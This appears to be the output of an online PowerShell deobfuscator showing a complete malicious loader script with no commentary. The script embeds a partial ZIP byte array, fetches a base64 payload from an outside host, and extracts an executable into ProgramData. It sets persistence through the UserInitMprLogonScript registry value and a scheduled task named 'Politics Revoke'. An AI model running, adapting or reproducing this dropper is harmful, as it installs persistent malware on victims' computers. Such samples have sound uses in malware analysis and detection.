Online Powershell Deobfuscator

chdir $env:ProgramData $rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr = [Byte[]]@( 80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 128, 163, 248, 90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 78, 84, 47, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 83, 76, 237, 82, 126, 44, 47, 163, 167, 8, 3, 0, 8, 189, 5, 0, 12, 0, 0, 0, 78, 84, 47, 97, 116, 109, 102, 100, 46, 100, 108, 108, 228, 92, 127, 124, 83, 213, 21, 127, 201, 75, 104, 128, 194, 139, 252, 208, 170, 168, 1, 131, 171;) if (Test-Path ($env:ProgramData + "\NT")){ exit } $ggggggggggggggg = Invoke-Webrequest -uri "https://stradomi.com/assets/img/fe99357658356062.txt" -usebasicparsing $iiiiiii = $ggggggggggggggg.content $sssssss = Join-Path -path $env:ProgramData -childpath "cgyzudagvvmy.zip" $wwwwwwwwwwwww = [Convert]::frombase64string($iiiiiii) $ppppppppppppppppppppppppppppppppppppppppppppp = New-Object byte[] ($rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr.Length + $wwwwwwwwwwwww.Length) [Array]::Copy($rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr, 0, $ppppppppppppppppppppppppppppppppppppppppppppp, 0, $rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr.Length) [Array]::Copy($wwwwwwwwwwwww, 0, $ppppppppppppppppppppppppppppppppppppppppppppp, $rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr.Length, $wwwwwwwwwwwww.Length) Set-Content "cgyzudagvvmy.zip" $ppppppppppppppppppppppppppppppppppppppppppppp -encoding byte Add-Type -assembly "system.io.compression.filesystem" [Io.compression.zipfile]::ExtractToDirectory($sssssss, $env:ProgramData) Remove-Item "cgyzudagvvmy.zip" cd "" $fffffffffffffffffffffffffffffffffffffffffffffffffff = $env:ProgramData + "\NT\ntcache.exe" New-Itemproperty -Path "HKCU:\Environment" -Name "UserInitMprLogonScript" -PropertyType "String" -Value $fffffffffffffffffffffffffffffffffffffffffffffffffff -Force $mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm = (Get-Date).AddMinutes(11) $ccccccccccccccccccccccccccccccccccccccccccccccccc = $mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.ToString("HH:mm") $mmmmmmmmmmmmmmmmmmm = $env:ProgramData + "\NT\ntcache.exe" $llllllllllllllllllllllllllllllllllll = "`"" + $mmmmmmmmmmmmmmmmmmm + "`"" schtasks/create/tn"Politics Revoke"/tr$llllllllllllllllllllllllllllllllllll/sc once/st$ccccccccccccccccccccccccccccccccccccccccccccccccc/ru$env:USERNAME/f exit